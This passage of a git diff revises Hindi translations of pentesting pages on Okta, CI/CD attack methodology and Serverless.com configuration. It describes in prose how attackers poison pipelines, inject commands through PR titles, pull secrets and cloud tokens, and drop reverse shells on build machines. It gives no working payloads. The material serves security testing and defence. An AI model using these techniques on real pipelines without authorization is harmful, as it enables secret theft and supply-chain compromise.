Okta संगठन तक पहुंचने के लिए विश्वसनीय हैं। -यहां बहुत सारे API टोकन नहीं होने चाहिए, क्योंकि यदि हैं तो एक हमलावर उन्हें एक्सेस करने और उनका उपयोग करने की कोशिश कर सकता है। +API टोकन की संख्या अधिक नहीं होनी चाहिए, क्योंकि यदि ऐसा होता है तो एक हमलावर उन्हें एक्सेस करने और उनका उपयोग करने की कोशिश कर सकता है। ## Workflow ### Automations -स्वचालन आपको स्वचालित क्रियाएं बनाने की अनुमति देता है जो अंत उपयोगकर्ताओं के जीवन चक्र के दौरान होने वाली ट्रिगर स्थितियों के सेट के आधार पर चलती हैं। +स्वचालन आपको स्वचालित क्रियाएँ बनाने की अनुमति देता है जो अंत उपयोगकर्ताओं के जीवन चक्र के दौरान होने वाली एक सेट ट्रिगर शर्तों के आधार पर चलती हैं। -उदाहरण के लिए, एक स्थिति हो सकती है "Okta में उपयोगकर्ता की निष्क्रियता" या "Okta में उपयोगकर्ता का पासवर्ड समाप्ति" और क्रिया हो सकती है "उपयोगकर्ता को ईमेल भेजें" या "Okta में उपयोगकर्ता जीवन चक्र की स्थिति बदलें"। +उदाहरण के लिए, एक शर्त हो सकती है "Okta में उपयोगकर्ता की निष्क्रियता" या "Okta में उपयोगकर्ता का पासवर्ड समाप्ति" और क्रिया हो सकती है "उपयोगकर्ता को ईमेल भेजें" या "Okta में उपयोगकर्ता जीवन चक्र की स्थिति बदलें"। ## Reports @@ -194,6 +194,6 @@ API दर सीमाओं की जांच करें। ### Downloads -यहां आप Okta एजेंट डाउनलोड कर सकते हैं ताकि Okta को अन्य तकनीकों के साथ समन्वयित किया जा सके। +यहां आप अन्य तकनीकों के साथ Okta को समन्वयित करने के लिए Okta एजेंट डाउनलोड कर सकते हैं। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 7728e9457..206b667ca 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,7 +6,7 @@ ## VCS -VCS का मतलब है **Version Control System**, यह सिस्टम डेवलपर्स को **अपने स्रोत कोड का प्रबंधन** करने की अनुमति देता है। सबसे सामान्य है **git** और आप आमतौर पर कंपनियों को निम्नलिखित **platforms** में इसका उपयोग करते हुए पाएंगे: +VCS का मतलब है **Version Control System**, यह सिस्टम डेवलपर्स को **अपने स्रोत कोड का प्रबंधन** करने की अनुमति देता है। सबसे सामान्य है **git** और आप आमतौर पर कंपनियों को निम्नलिखित **प्लेटफार्मों** में इसका उपयोग करते हुए पाएंगे: - Github - Gitlab @@ -16,73 +16,73 @@ VCS का मतलब है **Version Control System**, यह सिस् ## CI/CD Pipelines -CI/CD पाइपलाइनों डेवलपर्स को **कोड के निष्पादन को स्वचालित** करने की अनुमति देती हैं विभिन्न उद्देश्यों के लिए, जिसमें एप्लिकेशन का निर्माण, परीक्षण और तैनाती शामिल है। ये स्वचालित कार्यप्रवाह **विशिष्ट क्रियाओं** द्वारा **प्रेरित** होते हैं, जैसे कोड पुश, पुल अनुरोध, या अनुसूचित कार्य। ये विकास से उत्पादन तक की प्रक्रिया को सरल बनाने के लिए उपयोगी हैं। +CI/CD पाइपलाइनों से डेवलपर्स को **कोड के निष्पादन को स्वचालित** करने की अनुमति मिलती है विभिन्न उद्देश्यों के लिए, जिसमें एप्लिकेशन का निर्माण, परीक्षण और तैनाती शामिल है। ये स्वचालित कार्यप्रवाह **विशिष्ट क्रियाओं** द्वारा **प्रेरित** होते हैं, जैसे कोड पुश, पुल अनुरोध, या अनुसूचित कार्य। ये विकास से उत्पादन तक की प्रक्रिया को सरल बनाने के लिए उपयोगी हैं। हालांकि, इन सिस्टम को **कहीं निष्पादित** करने की आवश्यकता होती है और आमतौर पर **संवेदनशील जानकारी तक पहुंचने या कोड तैनात करने के लिए विशेषाधिकार प्राप्त क्रेडेंशियल्स के साथ**। ## VCS Pentesting Methodology > [!NOTE] -> भले ही कुछ VCS प्लेटफार्म इस अनुभाग के लिए पाइपलाइनों को बनाने की अनुमति देते हैं, हम केवल स्रोत कोड के नियंत्रण पर संभावित हमलों का विश्लेषण करने जा रहे हैं। +> भले ही कुछ VCS प्लेटफार्मों को इस अनुभाग के लिए पाइपलाइनों को बनाने की अनुमति हो, हम केवल स्रोत कोड के नियंत्रण पर संभावित हमलों का विश्लेषण करने जा रहे हैं। -आपकी परियोजना के स्रोत कोड वाले प्लेटफार्मों में संवेदनशील जानकारी होती है और लोगों को इस प्लेटफार्म के भीतर दिए गए अनुमतियों के साथ बहुत सावधान रहना चाहिए। ये कुछ सामान्य समस्याएं हैं जो VCS प्लेटफार्मों में हो सकती हैं जिनका उपयोग हमलावर कर सकते हैं: +आपकी परियोजना के स्रोत कोड वाले प्लेटफार्मों में संवेदनशील जानकारी होती है और लोगों को इस प्लेटफार्म के भीतर दिए गए अनुमतियों के साथ बहुत सावधान रहना चाहिए। ये कुछ सामान्य समस्याएं हैं जो VCS प्लेटफार्मों में हो सकती हैं जिनका हमलावर दुरुपयोग कर सकता है: -- **Leaks**: यदि आपके कोड में कमिट्स में लीक हैं और हमलावर को रिपॉजिटरी तक पहुंच मिलती है (क्योंकि यह सार्वजनिक है या क्योंकि उसके पास पहुंच है), तो वह लीक का पता लगा सकता है। -- **Access**: यदि एक हमलावर **VCS प्लेटफार्म के भीतर एक खाते तक पहुंच सकता है**, तो वह **अधिक दृश्यता और अनुमतियाँ** प्राप्त कर सकता है। +- **Leaks**: यदि आपके कोड में कमिट्स में लीक हैं और हमलावर को रिपॉजिटरी तक पहुंच प्राप्त है (क्योंकि यह सार्वजनिक है या क्योंकि उसके पास पहुंच है), तो वह लीक का पता लगा सकता है। +- **Access**: यदि एक हमलावर **VCS प्लेटफार्म के भीतर एक खाते तक पहुंच प्राप्त कर सकता है**, तो वह **अधिक दृश्यता और अनुमतियाँ** प्राप्त कर सकता है। - **Register**: कुछ प्लेटफार्म केवल बाहरी उपयोगकर्ताओं को एक खाता बनाने की अनुमति देंगे। -- **SSO**: कुछ प्लेटफार्म उपयोगकर्ताओं को पंजीकरण करने की अनुमति नहीं देंगे, लेकिन किसी को भी एक मान्य SSO के साथ पहुंचने की अनुमति देंगे (इसलिए एक हमलावर उदाहरण के लिए अपने github खाते का उपयोग कर सकता है)। +- **SSO**: कुछ प्लेटफार्म उपयोगकर्ताओं को पंजीकरण करने की अनुमति नहीं देंगे, लेकिन किसी को भी एक मान्य SSO के साथ पहुंचने की अनुमति देंगे (इसलिए एक हमलावर अपने github खाते का उपयोग करके प्रवेश कर सकता है, उदाहरण के लिए)। - **Credentials**: Username+Pwd, व्यक्तिगत टोकन, ssh कुंजी, Oauth टोकन, कुकीज़... उपयोगकर्ता कई प्रकार के टोकन चुरा सकते हैं ताकि किसी तरह एक रिपॉजिटरी तक पहुंच प्राप्त कर सकें। - **Webhooks**: VCS प्लेटफार्म वेबहुक उत्पन्न करने की अनुमति देते हैं। यदि वे **अदृश्य रहस्यों** के साथ **संरक्षित नहीं हैं**, तो एक **हमलावर उनका दुरुपयोग कर सकता है**। - यदि कोई रहस्य नहीं है, तो हमलावर तीसरे पक्ष के प्लेटफार्म के वेबहुक का दुरुपयोग कर सकता है - यदि रहस्य URL में है, तो वही होता है और हमलावर के पास भी रहस्य होता है -- **Code compromise:** यदि एक दुर्भावनापूर्ण अभिनेता के पास रिपॉजिटरी पर कुछ प्रकार की **लिखने** की पहुंच है, तो वह **दुर्भावनापूर्ण कोड इंजेक्ट** करने की कोशिश कर सकता है। सफल होने के लिए, उसे **ब्रांच सुरक्षा को बायपास** करने की आवश्यकता हो सकती है। ये क्रियाएँ विभिन्न लक्ष्यों के साथ की जा सकती हैं: -- मुख्य शाखा को **उत्पादन को समझौता करने के लिए** समझौता करना। -- मुख्य (या अन्य शाखाओं) को **डेवलपर्स की मशीनों को समझौता करने के लिए** समझौता करना (क्योंकि वे आमतौर पर परीक्षण, टेराफॉर्म या अन्य चीजें अपनी मशीनों में रिपॉजिटरी के भीतर निष्पादित करते हैं)। -- **पाइपलाइन को समझौता करना** (अगली अनुभाग देखें) +- **Code compromise:** यदि एक दुर्भावनापूर्ण अभिनेता के पास रिपॉजिटरी पर कुछ प्रकार की **लिखने** की पहुंच है, तो वह **दुर्भावनापूर्ण कोड** को **इंजेक्ट** करने की कोशिश कर सकता है। सफल होने के लिए, उसे **ब्रांच सुरक्षा को बायपास** करने की आवश्यकता हो सकती है। ये क्रियाएँ विभिन्न लक्ष्यों के साथ की जा सकती हैं: +- मुख्य शाखा को **उत्पादन को समझौता करने** के लिए समझौता करना। +- मुख्य (या अन्य शाखाओं) को **डेवलपर्स की मशीनों को समझौता करने** के लिए समझौता करना (क्योंकि वे आमतौर पर परीक्षण, टेराफॉर्म या अन्य चीजें अपनी मशीनों में रिपॉजिटरी के भीतर निष्पादित करते हैं)। +- **पाइपलाइन को समझौता करना** (अगले अनुभाग की जांच करें) ## Pipelines Pentesting Methodology पाइपलाइन को परिभाषित करने का सबसे सामान्य तरीका है **रिपॉजिटरी में होस्ट की गई CI कॉन्फ़िगरेशन फ़ाइल** का उपयोग करना जिसे पाइपलाइन बनाती है। यह फ़ाइल निष्पादित कार्यों के क्रम, प्रवाह को प्रभावित करने वाली शर्तों, और निर्माण वातावरण सेटिंग्स का वर्णन करती है।\ -ये फ़ाइलें आमतौर पर एक सुसंगत नाम और प्रारूप रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और .github/workflows के तहत स्थित GitHub Actions YAML फ़ाइलें। जब प्रेरित किया जाता है, तो पाइपलाइन कार्य **चयनित स्रोत से कोड खींचता है** (जैसे कमिट / शाखा), और **CI कॉन्फ़िगरेशन फ़ाइल में निर्दिष्ट आदेशों को उस कोड के खिलाफ चलाता है**। +ये फ़ाइलें आमतौर पर एक सुसंगत नाम और प्रारूप रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और .github/workflows के तहत स्थित GitHub Actions YAML फ़ाइलें। जब प्रेरित किया जाता है, तो पाइपलाइन कार्य **चयनित स्रोत से कोड खींचता है** (जैसे कमिट / शाखा), और **CI कॉन्फ़िगरेशन फ़ाइल में निर्दिष्ट आदेशों को** उस कोड के खिलाफ चलाता है। इसलिए हमलावर का अंतिम लक्ष्य किसी तरह **उन कॉन्फ़िगरेशन फ़ाइलों को समझौता करना** या **वे जो आदेश निष्पादित करते हैं**। ### PPE - Poisoned Pipeline Execution -Poisoned Pipeline Execution (PPE) पथ एक SCM रिपॉजिटरी में अनुमतियों का लाभ उठाता है ताकि एक CI पाइपलाइन को हेरफेर किया जा सके और हानिकारक आदेशों को निष्पादित किया जा सके। आवश्यक अनुमतियों वाले उपयोगकर्ता CI कॉन्फ़िगरेशन फ़ाइलों या अन्य फ़ाइलों को संशोधित कर सकते हैं जो पाइपलाइन कार्य द्वारा उपयोग की जाती हैं ताकि दुर्भावनापूर्ण आदेश शामिल किए जा सकें। यह "CI पाइपलाइन को विषाक्त" करता है, जिससे इन दुर्भावनापूर्ण आदेशों का निष्पादन होता है। +Poisoned Pipeline Execution (PPE) पथ एक SCM रिपॉजिटरी में अनुमतियों का दुरुपयोग करता है ताकि एक CI पाइपलाइन को हेरफेर किया जा सके और हानिकारक आदेशों को निष्पादित किया जा सके। आवश्यक अनुमतियों वाले उपयोगकर्ता CI कॉन्फ़िगरेशन फ़ाइलों या अन्य फ़ाइलों को संशोधित कर सकते हैं जो पाइपलाइन कार्य द्वारा उपयोग की जाती हैं ताकि दुर्भावनापूर्ण आदेश शामिल किए जा सकें। यह "CI पाइपलाइन को विषाक्त" करता है, जिससे इन दुर्भावनापूर्ण आदेशों का निष्पादन होता है। -एक दुर्भावनापूर्ण अभिनेता के लिए PPE हमले को सफलतापूर्वक करने के लिए उसे सक्षम होना चाहिए: +एक दुर्भावनापूर्ण अभिनेता को PPE हमले को सफलतापूर्वक करने के लिए सक्षम होना चाहिए: -- **VCS प्लेटफार्म पर लिखने की पहुंच** हो, क्योंकि आमतौर पर पाइपलाइन तब प्रेरित होती है जब एक पुश या एक पुल अनुरोध किया जाता है। (पहुंच प्राप्त करने के तरीकों का सारांश देखने के लिए VCS पेंटेस्टिंग पद्धति की जांच करें)। +- **VCS प्लेटफार्म पर लिखने की पहुंच** हो, क्योंकि आमतौर पर पाइपलाइन तब प्रेरित होती है जब एक पुश या पुल अनुरोध किया जाता है। (पहुंच प्राप्त करने के तरीकों का सारांश देखने के लिए VCS पेंटेस्टिंग पद्धति की जांच करें)। - ध्यान दें कि कभी-कभी एक **बाहरी PR को "लिखने की पहुंच" के रूप में गिना जाता है**। - भले ही उसके पास लिखने की अनुमतियाँ हों, उसे यह सुनिश्चित करने की आवश्यकता है कि वह **CI कॉन्फ़िगरेशन फ़ाइल या अन्य फ़ाइलों को संशोधित कर सकता है जिन पर कॉन्फ़िगरेशन निर्भर करता है**। - इसके लिए, उसे **ब्रांच सुरक्षा को बायपास** करने में सक्षम होना पड़ सकता है। PPE के 3 प्रकार हैं: -- **D-PPE**: एक **Direct PPE** हमला तब होता है जब अभिनेता **CI कॉन्फ़िग** फ़ाइल को संशोधित करता है जो निष्पादित होने वाली है। -- **I-DDE**: एक **Indirect PPE** हमला तब होता है जब अभिनेता **संशोधित करता है** एक **फ़ाइल** जिसे CI कॉन्फ़िगरेशन फ़ाइल **निर्भर करती है** (जैसे एक मेक फ़ाइल या एक टेराफॉर्म कॉन्फ़िग)। +- **D-PPE**: एक **Direct PPE** हमला तब होता है जब अभिनेता **CI कॉन्फ़िगरेशन** फ़ाइल को संशोधित करता है जिसे निष्पादित किया जाने वाला है। +- **I-DDE**: एक **Indirect PPE** हमला तब होता है जब अभिनेता **संशोधित करता है** एक **फ़ाइल** जिसे CI कॉन्फ़िगरेशन फ़ाइल निष्पादित होने पर **निर्भर करती है** (जैसे एक मेक फ़ाइल या एक टेराफॉर्म कॉन्फ़िगरेशन)। - **Public PPE या 3PE**: कुछ मामलों में पाइपलाइनों को **उन उपयोगकर्ताओं द्वारा प्रेरित किया जा सकता है जिनके पास रिपॉजिटरी में लिखने की पहुंच नहीं है** (और जो शायद संगठन का हिस्सा भी नहीं हैं) क्योंकि वे एक PR भेज सकते हैं। -- **3PE Command Injection**: आमतौर पर, CI/CD पाइपलाइनों **पर्यावरण चर सेट करेंगी** **PR के बारे में जानकारी के साथ**। यदि उस मान को एक हमलावर द्वारा नियंत्रित किया जा सकता है (जैसे PR का शीर्षक) और इसका **उपयोग** एक **खतरनाक स्थान** में किया जाता है (जैसे **sh आदेशों** को निष्पादित करना), तो एक हमलावर **वहाँ आदेश इंजेक्ट कर सकता है**। +- **3PE Command Injection**: आमतौर पर, CI/CD पाइपलाइनों **पर्यावरण चर सेट करेंगी** **PR के बारे में जानकारी** के साथ। यदि उस मान को एक हमलावर द्वारा नियंत्रित किया जा सकता है (जैसे PR का शीर्षक) और इसका **उपयोग** एक **खतरनाक स्थान** में किया जाता है (जैसे **sh आदेशों** को निष्पादित करना), तो एक हमलावर **वहाँ आदेश इंजेक्ट कर सकता है**। ### Exploitation Benefits पाइपलाइन को विषाक्त करने के 3 प्रकारों को जानने के बाद, चलिए देखते हैं कि एक हमलावर सफल शोषण के बाद क्या प्राप्त कर सकता है: - **Secrets**: जैसा कि पहले उल्लेख किया गया था, पाइपलाइनों को उनके कार्यों के लिए **विशेषाधिकार** की आवश्यकता होती है (कोड प्राप्त करना, इसे बनाना, इसे तैनात करना...) और ये विशेषाधिकार आमतौर पर **रहस्यों में दिए जाते हैं**। ये रहस्य आमतौर पर **env चर या सिस्टम के भीतर फ़ाइलों के माध्यम से** सुलभ होते हैं। इसलिए एक हमलावर हमेशा जितना संभव हो सके उतने रहस्यों को निकालने की कोशिश करेगा। -- पाइपलाइन प्लेटफार्म के आधार पर हमलावर को **कॉन्फ़िग में रहस्यों को निर्दिष्ट करने की आवश्यकता हो सकती है**। इसका मतलब है कि यदि हमलावर CI कॉन्फ़िगरेशन पाइपलाइन को संशोधित नहीं कर सकता (**I-PPE** उदाहरण के लिए), तो वह **केवल उन रहस्यों को निकाल सकता है जो पाइपलाइन के पास हैं**। +- पाइपलाइन प्लेटफार्म के आधार पर हमलावर को **कॉन्फ़िगरेशन में रहस्यों को निर्दिष्ट करने की आवश्यकता हो सकती है**। इसका मतलब है कि यदि हमलावर CI कॉन्फ़िगरेशन पाइपलाइन को संशोधित नहीं कर सकता (**I-PPE** उदाहरण के लिए), तो वह **केवल उन रहस्यों को निकाल सकता है जो पाइपलाइन के पास हैं**। - **Computation**: कोड कहीं निष्पादित होता है, जिस स्थान पर यह निष्पादित होता है उसके आधार पर एक हमलावर आगे बढ़ने में सक्षम हो सकता है। -- **On-Premises**: यदि पाइपलाइनों को ऑन-प्रिमाइसेस पर निष्पादित किया जाता है, तो एक हमलावर एक **आंतरिक नेटवर्क में अधिक संसाधनों तक पहुंच के साथ समाप्त हो सकता है**। -- **Cloud**: हमलावर **क्लाउड में अन्य मशीनों तक पहुंच** प्राप्त कर सकता है लेकिन वह **IAM भूमिकाओं/सेवा खातों के टोकन** को भी निकाल सकता है ताकि **क्लाउड के भीतर आगे की पहुंच प्राप्त की जा सके**। +- **On-Premises**: यदि पाइपलाइनों को ऑन-प्रिमाइसेस पर निष्पादित किया जाता है, तो एक हमलावर एक **आंतरिक नेटवर्क में अधिक संसाधनों तक पहुंच** प्राप्त कर सकता है। +- **Cloud**: हमलावर **क्लाउड में अन्य मशीनों** तक पहुंच प्राप्त कर सकता है लेकिन वह **IAM भूमिकाओं/सेवा खातों के टोकन** को भी निकाल सकता है ताकि **क्लाउड के भीतर आगे की पहुंच प्राप्त की जा सके**। - **Platforms machine**: कभी-कभी कार्य **पाइपलाइनों प्लेटफार्म मशीनों** के भीतर निष्पादित होते हैं, जो आमतौर पर एक क्लाउड के भीतर होते हैं जिसमें **कोई और पहुंच नहीं होती**। -- **Select it:** कभी-कभी **पाइपलाइनों प्लेटफार्म में कई मशीनें कॉन्फ़िगर की गई होंगी** और यदि आप **CI कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं** तो आप **यह निर्दिष्ट कर सकते हैं कि आप दुर्भावनापूर्ण कोड कहाँ चलाना चाहते हैं**। इस स्थिति में, एक हमलावर शायद प्रत्येक संभावित मशीन पर एक रिवर्स शेल चलाएगा ताकि उसे आगे शोषण करने की कोशिश की जा सके। -- **Compromise production**: यदि आप पाइपलाइन के भीतर हैं और अंतिम संस्करण इससे बनाया और तैनात किया गया है, तो आप **उस कोड को समझौता कर सकते हैं जो उत्पादन में चलने वाला है**। +- **Select it:** कभी-कभी **पाइपलाइनों प्लेटफार्म में कई मशीनें कॉन्फ़िगर की गई होती हैं** और यदि आप **CI कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं** तो आप **यह निर्दिष्ट कर सकते हैं कि आप दुर्भावनापूर्ण कोड कहाँ चलाना चाहते हैं**। इस स्थिति में, एक हमलावर शायद प्रत्येक संभावित मशीन पर एक रिवर्स शेल चलाएगा ताकि इसे आगे बढ़ाने की कोशिश की जा सके। +- **Compromise production**: यदि आप पाइपलाइन के भीतर हैं और अंतिम संस्करण इससे बनाया और तैनात किया गया है, तो आप **कोड को समझौता कर सकते हैं जो उत्पादन में चलने वाला है**। ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक ओपन-सोर्स उपकरण है जो आपके सॉफ़्टवेयर आपूर्ति श्रृंखला स्टैक का सुरक्षा अनुपालन के लिए ऑडिट करता है जो एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) पर आधारित है। ऑडिट पूरी SDLC प्रक्रिया पर केंद्रित है, जहां यह कोड समय से लेकर तैनाती समय तक के जोखिमों को उजागर कर सकता है। +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक ओपन-सोर्स उपकरण है जो आपके सॉफ़्टवेयर आपूर्ति श्रृंखला स्टैक का सुरक्षा अनुपालन के लिए ऑडिट करता है जो एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) पर आधारित है। ऑडिटिंग पूरे SDLC प्रक्रिया पर केंद्रित है, जहां यह कोड समय से लेकर तैनाती समय तक के जोखिमों को उजागर कर सकता है। ### Top 10 CI/CD Security Risk @@ -90,7 +90,7 @@ Cider के अनुसार शीर्ष 10 CI/CD जोखिमों ### Labs -- प्रत्येक प्लेटफार्म पर जिसे आप स्थानीय रूप से चला सकते हैं, आप पाएंगे कि इसे स्थानीय रूप से कैसे लॉन्च किया जाए ताकि आप इसे अपनी इच्छानुसार कॉन्फ़िगर कर सकें। +- प्रत्येक प्लेटफार्म पर जिसे आप स्थानीय रूप से चला सकते हैं, आप इसे स्थानीय रूप से लॉन्च करने का तरीका पाएंगे ताकि आप इसे अपनी इच्छानुसार कॉन्फ़िगर कर सकें। - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index 8c4f10b5b..776797544 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -1,24 +1,24 @@ -# Serverless.com Security +# Serverless.com सुरक्षा {{#include ../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी -### Organization +### संगठन -एक **Organization** Serverless Framework पारिस्थितिकी तंत्र के भीतर उच्चतम स्तर की इकाई है। यह एक **सामूहिक समूह** का प्रतिनिधित्व करता है, जैसे कि एक कंपनी, विभाग, या कोई बड़ी इकाई, जो कई परियोजनाओं, टीमों और अनुप्रयोगों को समाहित करता है। +एक **संगठन** Serverless Framework पारिस्थितिकी तंत्र के भीतर उच्चतम स्तर की इकाई है। यह एक **सामूहिक समूह** का प्रतिनिधित्व करता है, जैसे कि एक कंपनी, विभाग, या कोई बड़ा संगठन, जो कई परियोजनाओं, टीमों और अनुप्रयोगों को समाहित करता है। -### Team +### टीम -**Team** वे उपयोगकर्ता हैं जिनके पास संगठन के भीतर पहुंच है। टीमें सदस्यों को भूमिकाओं के आधार पर व्यवस्थित करने में मदद करती हैं। **`Collaborators`** मौजूदा ऐप्स को देख और तैनात कर सकते हैं, जबकि **`Admins`** नए ऐप्स बना सकते हैं और संगठन की सेटिंग्स प्रबंधित कर सकते हैं। +**टीम** वे उपयोगकर्ता हैं जिनके पास संगठन के भीतर पहुंच है। टीमें सदस्यों को भूमिकाओं के आधार पर व्यवस्थित करने में मदद करती हैं। **`सहयोगी`** मौजूदा ऐप्स को देख और तैनात कर सकते हैं, जबकि **`व्यवस्थापक`** नए ऐप्स बना सकते हैं और संगठन की सेटिंग्स प्रबंधित कर सकते हैं। -### Application +### अनुप्रयोग -एक **App** एक संगठन के भीतर संबंधित सेवाओं का तार्किक समूह है। यह कई सर्वरलेस सेवाओं से मिलकर बना एक पूर्ण अनुप्रयोग का प्रतिनिधित्व करता है जो एक साथ मिलकर एक समग्र कार्यक्षमता प्रदान करता है। +एक **ऐप** एक संगठन के भीतर संबंधित सेवाओं का तार्किक समूह है। यह कई सर्वरलेस सेवाओं से मिलकर बना एक पूर्ण अनुप्रयोग का प्रतिनिधित्व करता है जो एक साथ मिलकर एक समग्र कार्यक्षमता प्रदान करता है। -### **Services** +### **सेवाएँ** -एक **Service** एक Serverless अनुप्रयोग का मुख्य घटक है। यह आपके पूरे सर्वरलेस प्रोजेक्ट का प्रतिनिधित्व करता है, जिसमें सभी कार्य, कॉन्फ़िगरेशन और आवश्यक संसाधन शामिल होते हैं। इसे आमतौर पर `serverless.yml` फ़ाइल में परिभाषित किया जाता है, एक सेवा में सेवा का नाम, प्रदाता कॉन्फ़िगरेशन, कार्य, घटनाएँ, संसाधन, प्लगइन्स, और कस्टम वेरिएबल्स जैसी मेटाडेटा शामिल होती है। +एक **सेवा** एक सर्वरलेस अनुप्रयोग का मुख्य घटक है। यह आपके पूरे सर्वरलेस प्रोजेक्ट का प्रतिनिधित्व करता है, जिसमें सभी कार्य, कॉन्फ़िगरेशन और आवश्यक संसाधन शामिल होते हैं। यह आमतौर पर `serverless.yml` फ़ाइल में परिभाषित किया जाता है, एक सेवा में सेवा का नाम, प्रदाता कॉन्फ़िगरेशन, कार्य, घटनाएँ, संसाधन, प्लगइन्स, और कस्टम वेरिएबल्स जैसी मेटाडेटा शामिल होती है। ```yaml service: my-service provider: @@ -30,9 +30,9 @@ handler: handler.hello ```
-Function +कार्य -एक **Function** एकल सर्वरलेस फ़ंक्शन का प्रतिनिधित्व करता है, जैसे कि AWS Lambda फ़ंक्शन। इसमें वह कोड होता है जो घटनाओं के जवाब में निष्पादित होता है। +A **Function** एक एकल सर्वरलेस फ़ंक्शन का प्रतिनिधित्व करता है, जैसे कि एक AWS Lambda फ़ंक्शन। इसमें वह कोड होता है जो घटनाओं के जवाब में निष्पादित होता है। यह `serverless.yml` में `functions` अनुभाग के तहत परिभाषित किया गया है, जिसमें हैंडलर, रनटाइम, घटनाएँ, पर्यावरण चर, और अन्य सेटिंग्स निर्दिष्ट की गई हैं। ```yaml @@ -96,9 +96,9 @@ WriteCapacityUnits: 1 प्रदाता -The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider. +**प्रदाता** ऑब्जेक्ट क्लाउड सेवा प्रदाता (जैसे, AWS, Azure, Google Cloud) को निर्दिष्ट करता है और उस प्रदाता से संबंधित कॉन्फ़िगरेशन सेटिंग्स को शामिल करता है। -यह विवरण शामिल करता है जैसे कि रनटाइम, क्षेत्र, चरण, और क्रेडेंशियल्स। +इसमें रनटाइम, क्षेत्र, चरण, और क्रेडेंशियल्स जैसी जानकारी शामिल है। ```yaml yamlCopy codeprovider: name: aws @@ -128,7 +128,7 @@ region: us-west-2 Plugins -**Plugins** सर्वरलेस फ्रेमवर्क की कार्यक्षमता को नए फीचर्स जोड़कर या अन्य उपकरणों और सेवाओं के साथ एकीकृत करके बढ़ाते हैं। इन्हें `plugins` अनुभाग के तहत परिभाषित किया गया है और npm के माध्यम से स्थापित किया जाता है। +**Plugins** Serverless Framework की कार्यक्षमता को नए फीचर्स जोड़कर या अन्य उपकरणों और सेवाओं के साथ एकीकृत करके बढ़ाते हैं। इन्हें `plugins` अनुभाग के तहत परिभाषित किया जाता है और npm के माध्यम से स्थापित किया जाता है। ```yaml plugins: - serverless-offline @@ -140,7 +140,7 @@ plugins: परतें -**परतें** आपको साझा कोड या निर्भरताओं को आपके कार्यों से अलग पैकेज और प्रबंधित करने की अनुमति देती हैं। यह पुन: उपयोग को बढ़ावा देती है और तैनाती पैकेज के आकार को कम करती है। इन्हें `layers` अनुभाग के तहत परिभाषित किया जाता है और कार्यों द्वारा संदर्भित किया जाता है। +**परतें** आपको साझा कोड या निर्भरताओं को आपके कार्यों से अलग पैकेज और प्रबंधित करने की अनुमति देती हैं। यह पुन: उपयोगिता को बढ़ावा देती है और तैनाती पैकेज के आकार को कम करती है। इन्हें `layers` अनुभाग के तहत परिभाषित किया जाता है और कार्यों द्वारा संदर्भित किया जाता है। ```yaml layers: commonLibs: @@ -157,7 +157,7 @@ layers: चर और कस्टम चर -**चर** गतिशील कॉन्फ़िगरेशन को सक्षम करते हैं, जिससे प्लेसहोल्डर का उपयोग किया जा सकता है जो तैनाती के समय हल होते हैं। +**चर** गतिशील कॉन्फ़िगरेशन को सक्षम करते हैं, जिससे प्लेसहोल्डर्स का उपयोग किया जा सकता है जो तैनाती के समय हल होते हैं। - **सिंटैक्स:** `${variable}` सिंटैक्स पर्यावरण चर, फ़ाइल सामग्री, या अन्य कॉन्फ़िगरेशन पैरामीटर को संदर्भित कर सकता है। @@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'} आउटपुट -**आउटपुट** उन मानों को परिभाषित करते हैं जो एक सेवा के तैनात होने के बाद लौटाए जाते हैं, जैसे संसाधन ARN, एंडपॉइंट, या अन्य उपयोगी जानकारी। इन्हें `outputs` अनुभाग के तहत निर्दिष्ट किया जाता है और अक्सर अन्य सेवाओं के लिए जानकारी को उजागर करने या तैनाती के बाद आसान पहुंच के लिए उपयोग किया जाता है। +**आउटपुट** उन मानों को परिभाषित करते हैं जो एक सेवा के तैनात होने के बाद लौटाए जाते हैं, जैसे संसाधन ARN, एंडपॉइंट, या अन्य उपयोगी जानकारी। इन्हें `outputs` अनुभाग के तहत निर्दिष्ट किया जाता है और अक्सर अन्य सेवाओं के लिए जानकारी को उजागर करने या तैनाती के बाद आसान पहुँच के लिए उपयोग किया जाता है। ```yaml ¡outputs: ApiEndpoint: @@ -204,7 +204,7 @@ Fn::Join: IAM भूमिकाएँ और अनुमतियाँ -**IAM भूमिकाएँ और अनुमतियाँ** आपके कार्यों और अन्य संसाधनों के लिए सुरक्षा क्रेडेंशियल और पहुँच अधिकारों को परिभाषित करती हैं। इन्हें आवश्यक अनुमतियों को निर्दिष्ट करने के लिए `provider` या व्यक्तिगत कार्य सेटिंग्स के तहत प्रबंधित किया जाता है। +**IAM भूमिकाएँ और अनुमतियाँ** आपके कार्यों और अन्य संसाधनों के लिए सुरक्षा क्रेडेंशियल्स और पहुँच अधिकारों को परिभाषित करती हैं। इन्हें आवश्यक अनुमतियों को निर्दिष्ट करने के लिए `provider` या 